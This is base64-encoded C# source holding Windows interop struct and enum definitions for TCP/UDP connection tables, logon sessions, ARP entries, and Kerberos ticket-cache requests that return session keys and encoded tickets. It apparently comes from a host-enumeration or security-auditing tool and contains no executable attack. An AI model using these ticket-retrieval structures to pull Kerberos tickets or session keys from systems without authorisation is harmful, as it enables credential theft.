dHJ1Y3QgTUlCX1VEUFJPV19PV05FUl9NT0RVTEUKICAgICAgICB7CiAgICAgICAgICAgIHB1YmxpYyByZWFkb25seSB1aW50IExvY2FsQWRkcjsKICAgICAgICAgICAgcHJpdmF0ZSByZWFkb25seSBieXRlIExvY2FsUG9ydDE7CiAgICAgICAgICAgIHByaXZhdGUgcmVhZG9ubHkgYnl0ZSBMb2NhbFBvcnQyOwogICAgICAgICAgICBwcml2YXRlIHJlYWRvbmx5IGJ5dGUgTG9jYWxQb3J0MzsKICAgICAgICAgICAgcHJpdmF0ZSByZWFkb25seSBieXRlIExvY2FsUG9ydDQ7CiAgICAgICAgICAgIHB1YmxpYyByZWFkb25seSB1aW50IE93bmluZ1BpZDsKICAgICAgICAgICAgcHVibGljIHJlYWRvbmx5IFVJbnQ2NCBDcmVhdGVUaW1lc3RhbXA7CiAgICAgICAgICAgIHB1YmxpYyByZWFkb25seSBVSW50MzIgU3BlY2lmaWNQb3J0QmluZF9GbGFnczsKICAgICAgICAgICAgLy8gcHVibGljIHJlYWRvbmx5IFVJbnQzMiBGbGFnczsKICAgICAgICAgICAgcHVibGljIHJlYWRvbmx5IFVJbnQ2NCBPd25pbmdNb2R1bGVJbmZvMDsKICAgICAgICAgICAgcHVibGljIHJlYWRvbmx5IFVJbnQ2NCBPd25pbmdNb2R1bGVJbmZvMTsKICAgICAgICAgICAgcHVibGljIHJlYWRvbmx5IFVJbnQ2NCBPd25pbmdNb2R1bGVJbmZvMjsKICAgICAgICAgICAgcHVibGljIHJlYWRvbmx5IFVJbnQ2NCBPd25pbmdNb2R1bGVJbmZvMzsKICAgICAgICAgICAgcHVibGljIHJlYWRvbmx5IFVJbnQ2NCBPd25pbmdNb2R1bGVJbmZvNDsKICAgICAgICAgICAgcHVibGljIHJlYWRvbmx5IFVJbnQ2NCBPd25pbmdNb2R1bGVJbmZvNTsKICAgICAgICAgICAgcHVibGljIHJlYWRvbmx5IFVJbnQ2NCBPd25pbmdNb2R1bGVJbmZvNjsKICAgICAgICAgICAgcHVibGljIHJlYWRvbmx5IFVJbnQ2NCBPd25pbmdNb2R1bGVJbmZvNzsKICAgICAgICAgICAgcHVibGljIHJlYWRvbmx5IFVJbnQ2NCBPd25pbmdNb2R1bGVJbmZvODsKICAgICAgICAgICAgcHVibGljIHJlYWRvbmx5IFVJbnQ2NCBPd25pbmdNb2R1bGVJbmZvOTsKICAgICAgICAgICAgcHVibGljIHJlYWRvbmx5IFVJbnQ2NCBPd25pbmdNb2R1bGVJbmZvMTA7CiAgICAgICAgICAgIHB1YmxpYyByZWFkb25seSBVSW50NjQgT3duaW5nTW9kdWxlSW5mbzExOwogICAgICAgICAgICBwdWJsaWMgcmVhZG9ubHkgVUludDY0IE93bmluZ01vZHVsZUluZm8xMjsKICAgICAgICAgICAgcHVibGljIHJlYWRvbmx5IFVJbnQ2NCBPd25pbmdNb2R1bGVJbmZvMTM7CiAgICAgICAgICAgIHB1YmxpYyByZWFkb25seSBVSW50NjQgT3duaW5nTW9kdWxlSW5mbzE0OwogICAgICAgICAgICBwdWJsaWMgcmVhZG9ubHkgVUludDY0IE93bmluZ01vZHVsZUluZm8xNTsKCiAgICAgICAgICAgIHB1YmxpYyB1c2hvcnQgTG9jYWxQb3J0CiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGdldAogICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgIHJldHVybiBCaXRDb252ZXJ0ZXIuVG9VSW50MTYoCiAgICAgICAgICAgICAgICAgICAgICAgIG5ldyBieXRlWzJdIHsgTG9jYWxQb3J0MiwgTG9jYWxQb3J0MSB9LCAwKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgcHVibGljIElQQWRkcmVzcyBMb2NhbEFkZHJlc3MKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgZ2V0IHsgcmV0dXJuIG5ldyBJUEFkZHJlc3MoTG9jYWxBZGRyKTsgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBbU3RydWN0TGF5b3V0KExheW91dEtpbmQuU2VxdWVudGlhbCldCiAgICAgICAgcHVibGljIHN0cnVjdCBNSUJfVENQUk9XX09XTkVSX1BJRAogICAgICAgIHsKICAgICAgICAgICAgcHVibGljIHVpbnQgc3RhdGU7CiAgICAgICAgICAgIHB1YmxpYyB1aW50IGxvY2FsQWRkcjsKICAgICAgICAgICAgcHVibGljIGJ5dGUgbG9jYWxQb3J0MTsKICAgICAgICAgICAgcHVibGljIGJ5dGUgbG9jYWxQb3J0MjsKICAgICAgICAgICAgcHVibGljIGJ5dGUgbG9jYWxQb3J0MzsKICAgICAgICAgICAgcHVibGljIGJ5dGUgbG9jYWxQb3J0NDsKICAgICAgICAgICAgcHVibGljIHVpbnQgcmVtb3RlQWRkcjsKICAgICAgICAgICAgcHVibGljIGJ5dGUgcmVtb3RlUG9ydDE7CiAgICAgICAgICAgIHB1YmxpYyBieXRlIHJlbW90ZVBvcnQyOwogICAgICAgICAgICBwdWJsaWMgYnl0ZSByZW1vdGVQb3J0MzsKICAgICAgICAgICAgcHVibGljIGJ5dGUgcmVtb3RlUG9ydDQ7CiAgICAgICAgICAgIHB1YmxpYyBpbnQgb3duaW5nUGlkOwoKICAgICAgICAgICAgcHVibGljIHVzaG9ydCBMb2NhbFBvcnQKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgZ2V0CiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEJpdENvbnZlcnRlci5Ub1VJbnQxNigKICAgICAgICAgICAgICAgICAgICAgICAgbmV3IGJ5dGVbMl0geyBsb2NhbFBvcnQyLCBsb2NhbFBvcnQxIH0sIDApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBwdWJsaWMgSVBBZGRyZXNzIExvY2FsQWRkcmVzcwogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBnZXQgeyByZXR1cm4gbmV3IElQQWRkcmVzcyhsb2NhbEFkZHIpOyB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHB1YmxpYyBJUEFkZHJlc3MgUmVtb3RlQWRkcmVzcwogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBnZXQgeyByZXR1cm4gbmV3IElQQWRkcmVzcyhyZW1vdGVBZGRyKTsgfQogICAgICAgICAgICB9CgogICAgICAgICAgICBwdWJsaWMgdXNob3J0IFJlbW90ZVBvcnQKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgZ2V0CiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIEJpdENvbnZlcnRlci5Ub1VJbnQxNigKICAgICAgICAgICAgICAgICAgICAgICAgbmV3IGJ5dGVbMl0geyByZW1vdGVQb3J0MiwgcmVtb3RlUG9ydDEgfSwgMCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHB1YmxpYyBNSUJfVENQX1NUQVRFIFN0YXRlCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGdldCB7IHJldHVybiAoTUlCX1RDUF9TVEFURSlzdGF0ZTsgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBbU3RydWN0TGF5b3V0KExheW91dEtpbmQuU2VxdWVudGlhbCldCiAgICAgICAgcHVibGljIHN0cnVjdCBNSUJfVURQUk9XX09XTkVSX1BJRAogICAgICAgIHsKICAgICAgICAgICAgcHVibGljIHVpbnQgbG9jYWxBZGRyOwogICAgICAgICAgICAvL1tNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5CeVZhbEFycmF5LCBTaXplQ29uc3QgPSA0KV0KICAgICAgICAgICAgcHVibGljIGJ5dGUgbG9jYWxQb3J0MTsKICAgICAgICAgICAgcHVibGljIGJ5dGUgbG9jYWxQb3J0MjsKICAgICAgICAgICAgcHVibGljIGJ5dGUgbG9jYWxQb3J0MzsKICAgICAgICAgICAgcHVibGljIGJ5dGUgbG9jYWxQb3J0NDsKICAgICAgICAgICAgcHVibGljIGludCBvd25pbmdQaWQ7CgogICAgICAgICAgICBwdWJsaWMgdXNob3J0IExvY2FsUG9ydAogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBnZXQKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gQml0Q29udmVydGVyLlRvVUludDE2KAogICAgICAgICAgICAgICAgICAgICAgICBuZXcgYnl0ZVsyXSB7IGxvY2FsUG9ydDIsIGxvY2FsUG9ydDEgfSwgMCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIHB1YmxpYyBJUEFkZHJlc3MgTG9jYWxBZGRyZXNzCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGdldCB7IHJldHVybiBuZXcgSVBBZGRyZXNzKGxvY2FsQWRkcik7IH0KICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgICAgIHB1YmxpYyBzdHJ1Y3QgTUlCX1RDUFRBQkxFX09XTkVSX1BJRAogICAgICAgIHsKICAgICAgICAgICAgcHVibGljIHVpbnQgZHdOdW1FbnRyaWVzOwogICAgICAgICAgICBNSUJfVENQUk9XX09XTkVSX1BJRCB0YWJsZTsKICAgICAgICB9CgogICAgICAgIFtTdHJ1Y3RMYXlvdXQoTGF5b3V0S2luZC5TZXF1ZW50aWFsKV0KICAgICAgICBwdWJsaWMgc3RydWN0IE1JQl9VRFBUQUJMRV9PV05FUl9QSUQKICAgICAgICB7CiAgICAgICAgICAgIHB1YmxpYyB1aW50IGR3TnVtRW50cmllczsKICAgICAgICAgICAgTUlCX1RDUFJPV19PV05FUl9QSUQgdGFibGU7CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgZW51bSBNSUJfVENQX1NUQVRFCiAgICAgICAgewogICAgICAgICAgICBDTE9TRUQgPSAxLAogICAgICAgICAgICBMSVNURU4gPSAyLAogICAgICAgICAgICBTWU5fU0VOVCA9IDMsCiAgICAgICAgICAgIFNZTl9SQ1ZEID0gNCwKICAgICAgICAgICAgRVNUQUIgPSA1LAogICAgICAgICAgICBGSU5fV0FJVDEgPSA2LAogICAgICAgICAgICBGSU5fV0FJVDIgPSA3LAogICAgICAgICAgICBDTE9TRV9XQUlUID0gOCwKICAgICAgICAgICAgQ0xPU0lORyA9IDksCiAgICAgICAgICAgIExBU1RfQUNLID0gMTAsCiAgICAgICAgICAgIFRJTUVfV0FJVCA9IDExLAogICAgICAgICAgICBERUxFVEVfVENCID0gMTIKICAgICAgICB9CgogICAgICAgIFtTdHJ1Y3RMYXlvdXQoTGF5b3V0S2luZC5TZXF1ZW50aWFsKV0KICAgICAgICBwdWJsaWMgc3RydWN0IExTQV9TVFJJTkdfSU4KICAgICAgICB7CiAgICAgICAgICAgIHB1YmxpYyBVSW50MTYgTGVuZ3RoOwogICAgICAgICAgICBwdWJsaWMgVUludDE2IE1heGltdW1MZW5ndGg7CiAgICAgICAgICAgIHB1YmxpYyBzdHJpbmcgQnVmZmVyOwogICAgICAgIH0KCiAgICAgICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgICAgIHB1YmxpYyBzdHJ1Y3QgTFNBX1NUUklOR19PVVQKICAgICAgICB7CiAgICAgICAgICAgIHB1YmxpYyBVSW50MTYgTGVuZ3RoOwogICAgICAgICAgICBwdWJsaWMgVUludDE2IE1heGltdW1MZW5ndGg7CiAgICAgICAgICAgIHB1YmxpYyBJbnRQdHIgQnVmZmVyOwogICAgICAgIH0KCiAgICAgICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgICAgIHB1YmxpYyBzdHJ1Y3QgVU5JQ09ERV9TVFJJTkcgOiBJRGlzcG9zYWJsZQogICAgICAgIHsKICAgICAgICAgICAgcHVibGljIHVzaG9ydCBMZW5ndGg7CiAgICAgICAgICAgIHB1YmxpYyB1c2hvcnQgTWF4aW11bUxlbmd0aDsKICAgICAgICAgICAgcHVibGljIEludFB0ciBidWZmZXI7CgogICAgICAgICAgICBwdWJsaWMgVU5JQ09ERV9TVFJJTkcoc3RyaW5nIHMpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIExlbmd0aCA9ICh1c2hvcnQpKHMuTGVuZ3RoICogMik7CiAgICAgICAgICAgICAgICBNYXhpbXVtTGVuZ3RoID0gKHVzaG9ydCkoTGVuZ3RoICsgMik7CiAgICAgICAgICAgICAgICBidWZmZXIgPSBNYXJzaGFsLlN0cmluZ1RvSEdsb2JhbFVuaShzKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgcHVibGljIHZvaWQgRGlzcG9zZ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mluZGluZ0NhY2hlTWVzc2FnZSA9IDI4LAogICAgICAgICAgICBLZXJiUHVyZ2VCaW5kaW5nQ2FjaGVNZXNzYWdlID0gMjksCiAgICAgICAgICAgIEtlcmJRdWVyeURvbWFpbkV4dGVuZGVkUG9saWNpZXNNZXNzYWdlID0gMzAsCiAgICAgICAgICAgIEtlcmJRdWVyeVM0VTJQcm94eUNhY2hlTWVzc2FnZSA9IDMxCiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgZW51bSBLRVJCX0VOQ1JZUFRJT05fVFlQRSA6IHVpbnQgCiAgICAgICAgewogICAgICAgICAgICByZXNlcnZlZDAgPSAwLAogICAgICAgICAgICBkZXNfY2JjX2NyYyA9IDEsCiAgICAgICAgICAgIGRlc19jYmNfbWQ0ID0gMiwKICAgICAgICAgICAgZGVzX2NiY19tZDUgPSAzLAogICAgICAgICAgICByZXNlcnZlZDEgPSA0LAogICAgICAgICAgICBkZXMzX2NiY19tZDUgPSA1LAogICAgICAgICAgICByZXNlcnZlZDIgPSA2LAogICAgICAgICAgICBkZXMzX2NiY19zaGExID0gNywKICAgICAgICAgICAgZHNhV2l0aFNIQTFfQ21zT0lEID0gOSwKICAgICAgICAgICAgbWQ1V2l0aFJTQUVuY3J5cHRpb25fQ21zT0lEID0gMTAsCiAgICAgICAgICAgIHNoYTFXaXRoUlNBRW5jcnlwdGlvbl9DbXNPSUQgPSAxMSwKICAgICAgICAgICAgcmMyQ0JDX0Vudk9JRCA9IDEyLAogICAgICAgICAgICByc2FFbmNyeXB0aW9uX0Vudk9JRCA9IDEzLAogICAgICAgICAgICByc2FFU19PQUVQX0VOVl9PSUQgPSAxNCwKICAgICAgICAgICAgZGVzX2VkZTNfY2JjX0Vudl9PSUQgPSAxNSwKICAgICAgICAgICAgZGVzM19jYmNfc2hhMV9rZCA9IDE2LAogICAgICAgICAgICBhZXMxMjhfY3RzX2htYWNfc2hhMV85NiA9IDE3LAogICAgICAgICAgICBhZXMyNTZfY3RzX2htYWNfc2hhMV85NiA9IDE4LAogICAgICAgICAgICBhZXMxMjhfY3RzX2htYWNfc2hhMjU2XzEyOCA9IDE5LAogICAgICAgICAgICBhZXMyNTZfY3RzX2htYWNfc2hhMzg0XzE5MiA9IDIwLAogICAgICAgICAgICByYzRfaG1hYyA9IDIzLAogICAgICAgICAgICByYzRfaG1hY19leHAgPSAyNCwKICAgICAgICAgICAgY2FtZWxsaWExMjhfY3RzX2NtYWMgPSAyNSwKICAgICAgICAgICAgY2FtZWxsaWEyNTZfY3RzX2NtYWMgPSAyNiwKICAgICAgICAgICAgc3Via2V5X2tleW1hdGVyaWFsID0gNjUKICAgICAgICB9CgogICAgICAgIFtGbGFnc10KICAgICAgICBwcml2YXRlIGVudW0gS0VSQl9DQUNIRV9PUFRJT05TIDogdWludCAvL1VJbnQ2NCAKICAgICAgICB7CiAgICAgICAgICAgIEtFUkJfUkVUUklFVkVfVElDS0VUX0RFRkFVTFQgPSAweDAsCiAgICAgICAgICAgIEtFUkJfUkVUUklFVkVfVElDS0VUX0RPTlRfVVNFX0NBQ0hFID0gMHgxLAogICAgICAgICAgICBLRVJCX1JFVFJJRVZFX1RJQ0tFVF9VU0VfQ0FDSEVfT05MWSA9IDB4MiwKICAgICAgICAgICAgS0VSQl9SRVRSSUVWRV9USUNLRVRfVVNFX0NSRURIQU5ETEUgPSAweDQsCiAgICAgICAgICAgIEtFUkJfUkVUUklFVkVfVElDS0VUX0FTX0tFUkJfQ1JFRCA9IDB4OCwKICAgICAgICAgICAgS0VSQl9SRVRSSUVWRV9USUNLRVRfV0lUSF9TRUNfQ1JFRCA9IDB4MTAsCiAgICAgICAgICAgIEtFUkJfUkVUUklFVkVfVElDS0VUX0NBQ0hFX1RJQ0tFVCA9IDB4MjAsCiAgICAgICAgICAgIEtFUkJfUkVUUklFVkVfVElDS0VUX01BWF9MSUZFVElNRSA9IDB4NDAsCiAgICAgICAgfQoKICAgICAgICAvLyBUT0RPOiBkb3VibGUgY2hlY2sgdGhlc2UgZmxhZ3MuLi4KICAgICAgICAvLyBodHRwczovL2RvY3MubWljcm9zb2Z0LmNvbS9lbi11cy93aW5kb3dzL2Rlc2t0b3AvYXBpL250c2VjYXBpL25zLW50c2VjYXBpLV9rZXJiX2V4dGVybmFsX3RpY2tldAogICAgICAgIFtGbGFnc10KICAgICAgICBwdWJsaWMgZW51bSBLRVJCX1RJQ0tFVF9GTEFHUyA6IHVpbnQgCiAgICAgICAgewogICAgICAgICAgICByZXNlcnZlZCA9IDIxNDc0ODM2NDgsCiAgICAgICAgICAgIGZvcndhcmRhYmxlID0gMHg0MDAwMDAwMCwKICAgICAgICAgICAgZm9yd2FyZGVkID0gMHgyMDAwMDAwMCwKICAgICAgICAgICAgcHJveGlhYmxlID0gMHgxMDAwMDAwMCwKICAgICAgICAgICAgcHJveHkgPSAweDA4MDAwMDAwLAogICAgICAgICAgICBtYXlfcG9zdGRhdGUgPSAweDA0MDAwMDAwLAogICAgICAgICAgICBwb3N0ZGF0ZWQgPSAweDAyMDAwMDAwLAogICAgICAgICAgICBpbnZhbGlkID0gMHgwMTAwMDAwMCwKICAgICAgICAgICAgcmVuZXdhYmxlID0gMHgwMDgwMDAwMCwKICAgICAgICAgICAgaW5pdGlhbCA9IDB4MDA0MDAwMDAsCiAgICAgICAgICAgIHByZV9hdXRoZW50ID0gMHgwMDIwMDAwMCwKICAgICAgICAgICAgaHdfYXV0aGVudCA9IDB4MDAxMDAwMDAsCiAgICAgICAgICAgIG9rX2FzX2RlbGVnYXRlID0gMHgwMDA0MDAwMCwKICAgICAgICAgICAgbmFtZV9jYW5vbmljYWxpemUgPSAweDAwMDEwMDAwLAogICAgICAgICAgICAvL2NuYW1lX2luX3BhX2RhdGEgPSAweDAwMDQwMDAwLAogICAgICAgICAgICBlbmNfcGFfcmVwID0gMHgwMDAxMDAwMCwKICAgICAgICAgICAgcmVzZXJ2ZWQxID0gMHgwMDAwMDAwMQogICAgICAgIH0KCiAgICAgICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgICAgIHB1YmxpYyBzdHJ1Y3QgU0VDVVJJVFlfSEFORExFCiAgICAgICAgewogICAgICAgICAgICBwdWJsaWMgSW50UHRyIExvd1BhcnQ7CiAgICAgICAgICAgIHB1YmxpYyBJbnRQdHIgSGlnaFBhcnQ7CiAgICAgICAgICAgIHB1YmxpYyBTRUNVUklUWV9IQU5ETEUoaW50IGR1bW15KQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBMb3dQYXJ0ID0gSGlnaFBhcnQgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgfQogICAgICAgIH07CgogICAgICAgIFtTdHJ1Y3RMYXlvdXQoTGF5b3V0S2luZC5TZXF1ZW50aWFsKV0KICAgICAgICBwdWJsaWMgc3RydWN0IEtFUkJfVElDS0VUX0NBQ0hFX0lORk8KICAgICAgICB7CiAgICAgICAgICAgIHB1YmxpYyBMU0FfU1RSSU5HX09VVCBTZXJ2ZXJOYW1lOwogICAgICAgICAgICBwdWJsaWMgTFNBX1NUUklOR19PVVQgUmVhbG1OYW1lOwogICAgICAgICAgICBwdWJsaWMgSW50NjQgU3RhcnRUaW1lOwogICAgICAgICAgICBwdWJsaWMgSW50NjQgRW5kVGltZTsKICAgICAgICAgICAgcHVibGljIEludDY0IFJlbmV3VGltZTsKICAgICAgICAgICAgcHVibGljIEludDMyIEVuY3J5cHRpb25UeXBlOwogICAgICAgICAgICBwdWJsaWMgVUludDMyIFRpY2tldEZsYWdzOwogICAgICAgIH0KCiAgICAgICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgICAgIHB1YmxpYyBzdHJ1Y3QgS0VSQl9USUNLRVRfQ0FDSEVfSU5GT19FWAogICAgICAgIHsKICAgICAgICAgICAgcHVibGljIExTQV9TVFJJTkdfT1VUIENsaWVudE5hbWU7CiAgICAgICAgICAgIHB1YmxpYyBMU0FfU1RSSU5HX09VVCBDbGllbnRSZWFsbTsKICAgICAgICA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T1tdIFRpY2tldHM7CiAgICAgICAgICAgIHB1YmxpYyBJbnRQdHIgVGlja2V0czsKICAgICAgICB9CgogICAgICAgIFtTdHJ1Y3RMYXlvdXQoTGF5b3V0S2luZC5TZXF1ZW50aWFsKV0KICAgICAgICBwcml2YXRlIHN0cnVjdCBLRVJCX1FVRVJZX1RLVF9DQUNIRV9SRVFVRVNUCiAgICAgICAgewogICAgICAgICAgICBwdWJsaWMgS0VSQl9QUk9UT0NPTF9NRVNTQUdFX1RZUEUgTWVzc2FnZVR5cGU7CiAgICAgICAgICAgIHB1YmxpYyBMVUlEIExvZ29uSWQ7CiAgICAgICAgfQoKICAgICAgICBbU3RydWN0TGF5b3V0KExheW91dEtpbmQuU2VxdWVudGlhbCldCiAgICAgICAgcHJpdmF0ZSBzdHJ1Y3QgS0VSQl9SRVRSSUVWRV9US1RfUkVRVUVTVAogICAgICAgIHsKICAgICAgICAgICAgcHVibGljIEtFUkJfUFJPVE9DT0xfTUVTU0FHRV9UWVBFIE1lc3NhZ2VUeXBlOwogICAgICAgICAgICBwdWJsaWMgTFVJRCBMb2dvbklkOwogICAgICAgICAgICBwdWJsaWMgTFNBX1NUUklOR19JTiBUYXJnZXROYW1lOwogICAgICAgICAgICBwdWJsaWMgVUludDY0IFRpY2tldEZsYWdzOwogICAgICAgICAgICBwdWJsaWMgS0VSQl9DQUNIRV9PUFRJT05TIENhY2hlT3B0aW9uczsKICAgICAgICAgICAgcHVibGljIEludDY0IEVuY3J5cHRpb25UeXBlOwogICAgICAgICAgICBwdWJsaWMgU0VDVVJJVFlfSEFORExFIENyZWRlbnRpYWxzSGFuZGxlOwogICAgICAgIH0KCiAgICAgICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgICAgIHByaXZhdGUgc3RydWN0IEtFUkJfUkVUUklFVkVfVEtUX1JFUVVFU1RfVU5JCiAgICAgICAgewogICAgICAgICAgICBwdWJsaWMgS0VSQl9QUk9UT0NPTF9NRVNTQUdFX1RZUEUgTWVzc2FnZVR5cGU7CiAgICAgICAgICAgIHB1YmxpYyBMVUlEIExvZ29uSWQ7CiAgICAgICAgICAgIHB1YmxpYyBVTklDT0RFX1NUUklORyBUYXJnZXROYW1lOwogICAgICAgICAgICBwdWJsaWMgVUludDY0IFRpY2tldEZsYWdzOwogICAgICAgICAgICBwdWJsaWMgS0VSQl9DQUNIRV9PUFRJT05TIENhY2hlT3B0aW9uczsKICAgICAgICAgICAgcHVibGljIEludDY0IEVuY3J5cHRpb25UeXBlOwogICAgICAgICAgICBwdWJsaWMgU0VDVVJJVFlfSEFORExFIENyZWRlbnRpYWxzSGFuZGxlOwogICAgICAgIH0KCiAgICAgICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgICAgIHByaXZhdGUgc3RydWN0IEtFUkJfQ1JZUFRPX0tFWQogICAgICAgIHsKICAgICAgICAgICAgcHVibGljIEludDMyIEtleVR5cGU7CiAgICAgICAgICAgIHB1YmxpYyBJbnQzMiBMZW5ndGg7CiAgICAgICAgICAgIHB1YmxpYyBJbnRQdHIgVmFsdWU7CiAgICAgICAgfQoKICAgICAgICBbU3RydWN0TGF5b3V0KExheW91dEtpbmQuU2VxdWVudGlhbCldCiAgICAgICAgcHJpdmF0ZSBzdHJ1Y3QgS0VSQl9FWFRFUk5BTF9OQU1FCiAgICAgICAgewogICAgICAgICAgICBwdWJsaWMgSW50MTYgTmFtZVR5cGU7CiAgICAgICAgICAgIHB1YmxpYyBVSW50MTYgTmFtZUNvdW50OwogICAgICAgICAgICBwdWJsaWMgTFNBX1NUUklOR19PVVQgTmFtZXM7CiAgICAgICAgfQoKICAgICAgICBbU3RydWN0TGF5b3V0KExheW91dEtpbmQuU2VxdWVudGlhbCldCiAgICAgICAgcHJpdmF0ZSBzdHJ1Y3QgS0VSQl9FWFRFUk5BTF9USUNLRVQKICAgICAgICB7CiAgICAgICAgICAgIHB1YmxpYyBJbnRQdHIgU2VydmljZU5hbWU7CiAgICAgICAgICAgIHB1YmxpYyBJbnRQdHIgVGFyZ2V0TmFtZTsKICAgICAgICAgICAgcHVibGljIEludFB0ciBDbGllbnROYW1lOwogICAgICAgICAgICBwdWJsaWMgTFNBX1NUUklOR19PVVQgRG9tYWluTmFtZTsKICAgICAgICAgICAgcHVibGljIExTQV9TVFJJTkdfT1VUIFRhcmdldERvbWFpbk5hbWU7CiAgICAgICAgICAgIHB1YmxpYyBMU0FfU1RSSU5HX09VVCBBbHRUYXJnZXREb21haW5OYW1lOwogICAgICAgICAgICBwdWJsaWMgS0VSQl9DUllQVE9fS0VZIFNlc3Npb25LZXk7CiAgICAgICAgICAgIHB1YmxpYyBVSW50MzIgVGlja2V0RmxhZ3M7CiAgICAgICAgICAgIHB1YmxpYyBVSW50MzIgRmxhZ3M7CiAgICAgICAgICAgIHB1YmxpYyBJbnQ2NCBLZXlFeHBpcmF0aW9uVGltZTsKICAgICAgICAgICAgcHVibGljIEludDY0IFN0YXJ0VGltZTsKICAgICAgICAgICAgcHVibGljIEludDY0IEVuZFRpbWU7CiAgICAgICAgICAgIHB1YmxpYyBJbnQ2NCBSZW5ld1VudGlsOwogICAgICAgICAgICBwdWJsaWMgSW50NjQgVGltZVNrZXc7CiAgICAgICAgICAgIHB1YmxpYyBJbnQzMiBFbmNvZGVkVGlja2V0U2l6ZTsKICAgICAgICAgICAgcHVibGljIEludFB0ciBFbmNvZGVkVGlja2V0OwogICAgICAgIH0KCiAgICAgICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgICAgIHByaXZhdGUgc3RydWN0IEtFUkJfUkVUUklFVkVfVEtUX1JFU1BPTlNFCiAgICAgICAgewogICAgICAgICAgICBwdWJsaWMgS0VSQl9FWFRFUk5BTF9USUNLRVQgVGlja2V0OwogICAgICAgIH0KCiAgICAgICAgcHJpdmF0ZSBlbnVtIFNFQ1VSSVRZX0xPR09OX1RZUEUgOiB1aW50CiAgICAgICAgewogICAgIC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bnRlcmFjdGl2ZSwvLyBzYW1lIGFzIFJlbW90ZUludGVyYWN0aXZlLCBleGNlcHQgdXNlZCBpbnRlcm5hbGx5IGZvciBhdWRpdGluZyBwdXJwb3NlcwogICAgICAgICAgICBDYWNoZWRVbmxvY2sgICAgICAgICAgICAvLyBhdHRlbXB0IHRvIHVubG9jayBhIHdvcmtzdGF0aW9uCiAgICAgICAgfQoKICAgICAgICBbU3RydWN0TGF5b3V0KExheW91dEtpbmQuU2VxdWVudGlhbCldCiAgICAgICAgcHJpdmF0ZSBzdHJ1Y3QgU0VDVVJJVFlfTE9HT05fU0VTU0lPTl9EQVRBCiAgICAgICAgewogICAgICAgICAgICBwdWJsaWMgVUludDMyIFNpemU7CiAgICAgICAgICAgIHB1YmxpYyBMVUlEIExvZ2luSUQ7CiAgICAgICAgICAgIHB1YmxpYyBMU0FfU1RSSU5HX09VVCBVc2VybmFtZTsKICAgICAgICAgICAgcHVibGljIExTQV9TVFJJTkdfT1VUIExvZ2luRG9tYWluOwogICAgICAgICAgICBwdWJsaWMgTFNBX1NUUklOR19PVVQgQXV0aGVudGljYXRpb25QYWNrYWdlOwogICAgICAgICAgICBwdWJsaWMgVUludDMyIExvZ29uVHlwZTsKICAgICAgICAgICAgcHVibGljIFVJbnQzMiBTZXNzaW9uOwogICAgICAgICAgICBwdWJsaWMgSW50UHRyIFBTaUQ7CiAgICAgICAgICAgIHB1YmxpYyBVSW50NjQgTG9naW5UaW1lOwogICAgICAgICAgICBwdWJsaWMgTFNBX1NUUklOR19PVVQgTG9nb25TZXJ2ZXI7CiAgICAgICAgICAgIHB1YmxpYyBMU0FfU1RSSU5HX09VVCBEbnNEb21haW5OYW1lOwogICAgICAgICAgICBwdWJsaWMgTFNBX1NUUklOR19PVVQgVXBuOwogICAgICAgIH0KCiAgICAgICAgcHVibGljIGNvbnN0IGludCBNQVhMRU5fUEhZU0FERFIgPSA4OwogICAgICAgIHB1YmxpYyBjb25zdCBpbnQgRVJST1JfU1VDQ0VTU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YW5hZ2VkVHlwZS5VMSldCiAgICAgICAgICAgIHB1YmxpYyBieXRlIG1hYzc7CiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5VNCldCiAgICAgICAgICAgIHB1YmxpYyBpbnQgZHdBZGRyOwogICAgICAgICAgICBbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuVTQpXQogICAgICAgICAgICBwdWJsaWMgaW50IGR3VHlwZTsKICAgICAgICB9CgogICAgICAgIHB1YmxpYyBlbnVtIEFycEVudHJ5VHlwZQogICAgICAgIH